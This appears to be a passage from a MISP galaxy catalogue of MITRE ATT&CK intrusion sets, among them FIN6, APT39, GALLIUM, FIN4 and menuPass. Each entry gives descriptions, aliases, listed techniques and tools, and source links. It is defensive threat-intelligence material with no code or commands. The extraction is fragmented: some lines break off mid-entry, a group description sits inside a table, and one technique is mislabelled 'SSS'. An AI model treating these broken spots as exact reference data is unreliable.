• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 6474. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0067">https://attack.mitre.org/groups/G0067</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-daybreak/75100/">https://securelist.com/operation-daybreak/75100/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/">https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/adversaries/ricochet-chollima/">https://www.crowdstrike.com/adversaries/ricochet-chollima/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

FIN6 - G0037

[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)
The tag is: `misp-galaxy:mitre-intrusion-set="FIN6 - G0037"`

FIN6 - G0037 is also known as:

- FIN6
- Magecart Group 6
- ITG08
- Skeleton Spider

View relationships graph

FIN6 - G0037 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Windows Credential Editor - S0005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="LockerGoga - S0372" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Ryuk - S0446" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-
• uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="GrimAgent - S0632" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Maze - S0449" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6475. Table References
GCMAN - G0036

[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)

The tag is: `misp-galaxy:mitre-intrusion-set="GCMAN - G0036"`

GCMAN - G0036 is also known as:

- GCMAN

View relationships graph

GCMAN - G0036 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="VNC - T1021.005"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:threat-actor="GCMAN"` with `estimative-language:likelihood-probability="likely"`

Table 6476. Table References

Links

- [https://attack.mitre.org/groups/G0036](https://attack.mitre.org/groups/G0036)

BlackOasis - G0063

[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence
that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: misp-galaxy:mitre-intrusion-set="BlackOasis - G0063"

BlackOasis - G0063 is also known as:

• BlackOasis

BlackOasis - G0063 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 6477. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0063">https://attack.mitre.org/groups/G0063</a></td>
</tr>
<tr>
<td><a href="https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/">https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/</a></td>
</tr>
</tbody>
</table>

**APT39 - G0087**

[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)

The tag is: misp-galaxy:mitre-intrusion-set="APT39 - G0087"

APT39 - G0087 is also known as:

• APT39
• ITG07
• Chafer
• Remix Kitten

**View relationships graph**

APT39 - G0087 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSS - T1021.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cadelspy - S0454" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="MechaFlounder - S0459" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Remexi - S0375" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
Table 6478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0083">SilverTerrier</a> is a Nigerian threat group that has been seen active since 2014. <a href="https://attack.mitre.org/groups/G0083">SilverTerrier</a> mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)</td>
</tr>
<tr>
<td>The tag is: misp-galaxy:mitre-intrusion-set=&quot;SilverTerrier - G0083&quot;</td>
</tr>
</tbody>
</table>

SilverTerrier - G0083 is also known as:

- SilverTerrier

View relationships graph

SilverTerrier - G0083 has relationships with:

- uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Financial Theft - T1657" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Lokibot - S0447" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Agent Tesla - S0331" with estimative-language:likelihood-probability="almost-certain"

Table 6479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0083">https://attack.mitre.org/groups/G0083</a></td>
</tr>
</tbody>
</table>

GALLIUM - G0093

[GALLIUM](https://attack.mitre.org/groups/G0093) is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. Security researchers have identified [GALLIUM](https://attack.mitre.org/groups/G0093) as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)(Citation: Unit 42 PingPull Jun 2022)

The tag is: misp-galaxy:mitre-intrusion-set="GALLIUM - G0093"

GALLIUM - G0093 is also known as:

- GALLIUM
- Operation Soft Cell

View relationships graph

GALLIUM - G0093 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-


- Uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"


- Uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"


- Uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- Uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"

- Uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"


- Uses: misp-galaxy:mitre-malware="PingPull - S1031" with estimative-language:likelihood-probability="almost-certain"

- Uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"


- Uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

- Uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0093">https://attack.mitre.org/groups/G0093</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/pingpull-gallium/">https://unit42.paloaltonetworks.com/pingpull-gallium/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers">https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
</tbody>
</table>

Suckfly - G0039

[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Suckfly - G0039"

Suckfly - G0039 is also known as:

• Suckfly

View relationships graph

Suckfly - G0039 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"


• similar: misp-galaxy:threat-actor="APT22" with estimative-language:likelihood-probability="likely"
Uses: misp-galaxy:mitre-malware="Nidiran - S0118" with estimative-language:likelihood-probability="almost-certain"

Uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"


Uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 6481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks">http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks</a></td>
</tr>
<tr>
<td><a href="http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates">http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0039">https://attack.mitre.org/groups/G0039</a></td>
</tr>
</tbody>
</table>

FIN4 - G0085

[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)

The tag is: misp-galaxy:mitre-intrusion-set="FIN4 - G0085"

FIN4 - G0085 is also known as:

- FIN4

View relationships graph

FIN4 - G0085 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0085">https://attack.mitre.org/groups/G0085</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html">https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html</a></td>
</tr>
</tbody>
</table>

**menuPass - G0045**

[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

The tag is: misp-galaxy:mitre-intrusion-set="menuPass - G0045"
menuPass - G0045 is also known as:

- menuPass
- Cicada
- POTASSIUM
- Stone Panda
- APT10
- Red Apollo
- CVNX
- HOGFISH

View relationships graph

menuPass - G0045 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Ecipekac - S0624" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="almost-certain"


